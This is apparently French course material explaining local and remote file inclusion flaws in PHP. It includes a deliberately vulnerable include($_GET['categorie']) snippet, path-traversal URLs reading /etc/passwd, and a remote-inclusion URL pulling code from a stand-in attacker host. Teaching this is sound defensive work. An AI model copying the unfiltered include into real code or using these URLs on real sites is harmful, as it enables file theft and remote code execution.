i Problématique de l'inclusion de fichiers

Présentation :

Les applications web peuvent avoir besoin d'accéder à des fichiers (images, texte…) sur un système donné via des paramètres attachés à une URL. Si ces paramètres ne sont pas sécurisés alors un attaquant peut effectuer une inclusion de fichiers afin de récupérer des informations ou pour effectuer des actions non autorisées. Deux types d'inclusion sont abordées dans cette activité :

- L'inclusion de fichiers locaux (LFI - Local File Inclusion) ;
- L'inclusion de fichiers distants (RFI - Remote File Inclusion).

Exemple :

légitime :http://www.site-inclusion.local/index.php?file=cgu.pdf
Inclusion illégitime: http://www.site-inclusion.local/index.php?file=/etc/passwd

Dans cet exemple, **file** est le nom du paramètre et **cgu.pdf** est donc la valeur de ce paramètre.

Problème posé :

Les vulnérabilités d'inclusion de fichiers se rencontrent lorsque des applications web ne vérifient pas la validité des paramètres envoyés au serveur, c'est à dire lorsque les entrées de l'utilisateur ne sont pas filtrées ou validées. Une telle absence de validation peut permettre à un utilisateur malveillant de transmettre n'importe quelle entrée afin de provoquer l'exécution d'un fichier tiers contenant des commandes. ~~Ce type d'action peut entraîner une brèche de confidentialité.~~

Conséquences possibles :

- Brèche de confidentialité ;
- Vol de fichiers et codes sources ;
- Défiguration du site ;
- Déni de service…

Le niveau de gravité dépend du code malveillant exécuté.

ii Inclusion de fichiers locaux

L'inclusion locale fait référence à l'appel ou à l'exécution de fichiers situés localement sur le serveur web cible.

Exemple :

Un attaquant peut afficher la liste des utilisateurs du système visé (/etc/passwd) ou la configuration IP du serveur cible (/etc/network/interfaces).

Prenons l'exemple d'un programme qui accepte deux catégories d'utilisateurs : les professeurs et les élèves.

```
<?PHP
        include($_GET["categorie"]);
?>
```

Dans cet exemple, il s'agit d'une requête de type GET avec utilisation d'une variable d'URL nommée categorie. L'appel peut se faire en envoyant la requête HTTP suivante :

http://site-inclusion.local/index.php?categorie=eleves.php pour afficher la page des élèves ou **http://site-inclusion.local/index.php?categorie=professeurs.php** pour afficher la page des professeurs. On suppose que les fichiers eleves.php et professeurs.php existent dans le même répertoire.

En se basant uniquement sur les deux scénarios attendus et en l'absence de contrôles des données envoyées au serveur, un fichier local au serveur peut être appelé :

http://site-inclusion.local/index.php?categorie=../../../../etc/passwd

Avec PHP, l'utilisation de fonctions telles que **include**, **require**, **include_once** et **require_once** peuvent contribuer à générer ce type de vulnérabilités. Les inclusions sont possibles avec d'autres langages de programmation.

iii Inclusion de fichiers distants

Dans ce cas, les fichiers appelés ou exécutés sont situés en dehors du serveur cible, par exemple sur le serveur web du pirate qui peut alors chercher à exécuter un code malveillant.

Comme pour les inclusions locales, les inclusions distantes sont liées à l'absence de contrôle des données envoyées au serveur.

Exemple :

Un attaquant héberge un fichier sur son serveur. **http://pirate.local/fichier-malveillant.txt**

L'URL deviendra :

http://site-inclusion.local/index.php?categorie=http://pirate.local/fichier-malveillant.txt

En l'absence de contrôle sur la valeur du paramètre categorie, le lien malveillant sera exploité, en l'état, par la fonction php **include**. Le code malveillant sera alors exécuté au moment de l'appel de la page rendant possible l'exécution d'un script sur le serveur web cible.